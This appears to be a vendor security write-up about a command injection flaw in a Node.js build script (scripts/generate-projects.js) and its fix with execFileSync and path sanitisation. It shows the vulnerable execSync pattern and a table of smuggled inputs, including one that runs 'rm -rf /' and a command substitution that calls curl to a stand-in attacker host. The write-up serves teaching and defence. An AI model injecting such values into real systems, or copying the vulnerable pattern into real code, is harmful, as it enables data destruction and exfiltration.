Introduction
In scripts/generate-projects.js, a Node.js automation script for project metadata generation, we discovered a high-severity command injection vulnerability at line 15. The getDateAdded() function used child_process.execSync() with a template literal to execute Git commands, directly interpolating file paths into shell strings. This pattern—execSync(\git log ... "${rel}"`)`—created a dangerous attack surface: any path containing shell metacharacters could execute arbitrary commands on the build system.
This matters for developers building CI/CD pipelines, developer tools, or any Node.js automation that executes external commands. The vulnerability was particularly insidious because it affected a seemingly benign Git metadata extraction function, demonstrating how command injection can hide in everyday utility code.
The Vulnerability Explained
The Vulnerable Code
Before the fix, line 15 in scripts/generate-projects.js contained:
const { execSync } = require("child_process");
// ...
function getDateAdded(absPath) {
try {
const rel = path.relative(REPO_ROOT, absPath);
const out = execSync(`git log --reverse --format=%aI -- "${rel}"`, {
cwd: REPO_ROOT,
stdio: ["ignore", "pipe", "ignore"],
})
// ...
}
}
The critical flaw: rel is interpolated directly into a shell command string. The surrounding quotes offer minimal protection—an attacker can break out with carefully crafted input.
How the Attack Works
Consider what happens when absPath contains malicious input:
| Input | Resulting Command | Exploit |
|---|---|---|
projects/valid-project |
git log --reverse --format=%aI -- "projects/valid-project" |
✅ Normal operation |
projects/"; rm -rf /; " |
git log --reverse --format=%aI -- "projects/"; rm -rf /; """ |
💣 Arbitrary command execution |
$(curl attacker.com/exfil) |
git log --reverse --format=%aI -- "$(curl attacker.com/exfil)" |
💣 Command substitution, data exfiltration |
The vulnerability extends beyond getDateAdded(). Lines 288 and 298 also used unsanitized category.name and project.name values:
const categoryName = category.name; // Line 288 - unsanitized
// ...
const projectName = project.name; // Line 298 - unsanitized
These values flow into filesystem operations and could be manipulated in supply-chain attacks if an attacker controls project or category naming.
Real-World Impact
This vulnerability affects downstream consumers of this Node.js library. In CI/CD environments:
- Malicious project submissions with crafted names could execute code during automated project indexing
- Compromised dependencies could manipulate path inputs to this function
- Build system compromise would grant access to repository secrets, deployment credentials, and adjacent systems
The attack surface is amplified because generate-projects.js runs during build processes, often with elevated permissions and access to sensitive environment variables.
The Fix
Before/After Comparison
Change 1: Replace execSync with execFileSync (Line 15)
Before:
const { execSync } = require("child_process");
// ...
const out = execSync(`git log --reverse --format=%aI -- "${rel}"`, {
cwd: REPO_ROOT,
stdio: ["ignore", "pipe", "ignore"],
})
After:
const { execFileSync } = require("child_process");
// ...
const out = execFileSync("git", ["log", "--reverse", "--format=%aI", "--", rel], {
cwd: REPO_ROOT,
stdio: ["ignore", "pipe", "ignore"],
})
Why this works: execFileSync() passes arguments as an array directly to the executable, bypassing shell interpretation entirely. The shell never parses rel—it receives it as a literal argument to Git. Even if rel contains ; rm -rf /, Git treats it as a filename string, not shell syntax.
Change 2: Sanitize Category and Project Names (Lines 288, 298)
Before:
const categoryName = category.name;
// ...
const projectName = project.name;
After:
const categoryName = path.basename(category.name);
// ...
const projectName = path.basename(project.name);
Why this works: path.basename() strips directory components, preventing path traversal attacks. An input like ../../../etc/passwd becomes passwd, neutralizing directory escape attempts.
Security Improvement Analysis
| Aspect | Before | After |
|---|---|---|
| Shell parsing | Full shell interpretation | None—direct executable invocation |
| Argument passing | String concatenation | Array-based, positional arguments |
| Path traversal | Possible via ../ sequences |
Blocked by path.basename() |
| Metacharacter injection | ;, &&, \|, $(), backticks all active |
Treated as literal characters |
The fix maintains behavioral equivalence for all legitimate inputs while closing the injection vector. The regression test validates this by confirming adversarial payloads like "; rm -rf /" and "$(whoami)" never reach shell execution unescaped.
Prevention & Best Practices
The child_process Security Hierarchy
Node.js provides multiple process execution APIs with varying security profiles:
| API | Shell? | Safe for user input? | Use case |
|---|---|---|---|
execSync() |
✅ Yes | ❌ Never | Trusted, fixed commands only |
exec() |
✅ Yes | ❌ Never | Async version of above |
execFileSync() |
❌ No | ✅ With validation | External binaries with arguments |
spawn() |
Optional | ✅ With validation | Streaming I/O, long-running processes |
Rule of thumb: If you don't need shell features (pipes, redirection, globbing), use execFileSync() or spawn() without shell: true.
Input Sanitization Patterns
// ❌ Dangerous: direct interpolation
execSync(`git log "${userInput}"`);
// ✅ Safe: array arguments, no shell
execFileSync("git", ["log", "--", userInput]);
// ✅ Safer: additional path sanitization
const safePath = path.basename(path.normalize(userInput));
execFileSync("git", ["log", "--", safePath]);
Detection Tools
- Semgrep: Rule
javascript.lang.security.detect-child-process.detect-child-processflags dangerous patterns - Orbis AppSec: Automatically detects and fixes these vulnerabilities in CI/CD
- ESLint security plugins:
eslint-plugin-securitycan flagchild_processusage
Standards & References
- CWE-78: OS Command Injection
- OWASP: Command Injection Prevention Cheat Sheet
- Node.js docs:
child_processsecurity considerations
Key Takeaways
- Never use
execSync()with template literals containing variables inscripts/generate-projects.jsor any build automation—array-basedexecFileSync()eliminates shell interpretation entirely path.basename()sanitization is essential for any filesystem-derived values used in command execution, as demonstrated by thecategory.nameandproject.namefixes at lines 288 and 298- Git metadata extraction is a common attack surface—functions like
getDateAdded()that shell out to Git often contain hidden injection vectors - The
relvariable inpath.relative()output can still contain malicious sequences—relative paths don't guarantee safety from command injection - Supply-chain security requires scrutinizing build scripts, not just runtime dependencies—
generate-projects.jsruns with full repository access during CI/CD
How Orbis AppSec Detected This
Source: The absPath parameter of getDateAdded() function, which receives filesystem paths from upstream project enumeration logic
Sink: child_process.execSync() call at scripts/generate-projects.js:15 executing the template literal `git log --reverse --format=%aI -- "${rel}"`
Missing control: No validation that rel (derived from absPath via path.relative()) is free of shell metacharacters; no use of argument array APIs that bypass shell parsing
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix: Replaced execSync() with execFileSync("git", [...]) using explicit argument arrays, and added path.basename() sanitization for category.name and project.name values
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability in scripts/generate-projects.js exemplifies a persistent pattern in Node.js security: the convenience of execSync() with template literals creates dangerous attack surfaces that automated tools can exploit. The fix—migrating to execFileSync() with argument arrays—demonstrates a fundamental security principle: eliminate attack surfaces by removing unnecessary functionality (shell interpretation) rather than trying to sanitize inputs for dangerous contexts.
For developers, the actionable lesson is clear: audit every child_process usage in your codebase. The Semgrep rule that flagged this issue catches thousands of similar vulnerabilities across open-source repositories. Proactive removal of execSync() patterns, combined with path sanitization, raises the bar against increasingly sophisticated automated attacks targeting CI/CD pipelines and developer tooling.
References
- CWE-78: OS Command Injection
- OWASP: Command Injection Prevention Cheat Sheet
- Node.js Documentation:
child_process.execFileSync() - Semgrep Rule:
javascript.lang.security.detect-child-process.detect-child-process - GitHub PR: harden: sanitize child_process call in generate-projects.js...